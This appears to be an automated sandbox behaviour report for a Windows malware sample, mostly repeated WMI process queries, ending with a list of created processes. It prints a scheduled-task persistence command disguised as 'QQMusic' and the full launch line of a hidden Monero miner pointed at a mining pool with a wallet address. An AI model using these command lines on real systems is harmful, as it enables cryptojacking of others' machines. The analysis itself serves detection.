Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\ProgramData\Svchocpu.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\ProgramData\Svchocpu.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\ProgramData\Svchocpu.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\ProgramData\Svchocpu.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\Conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 86%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ipconfig /flushdns
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
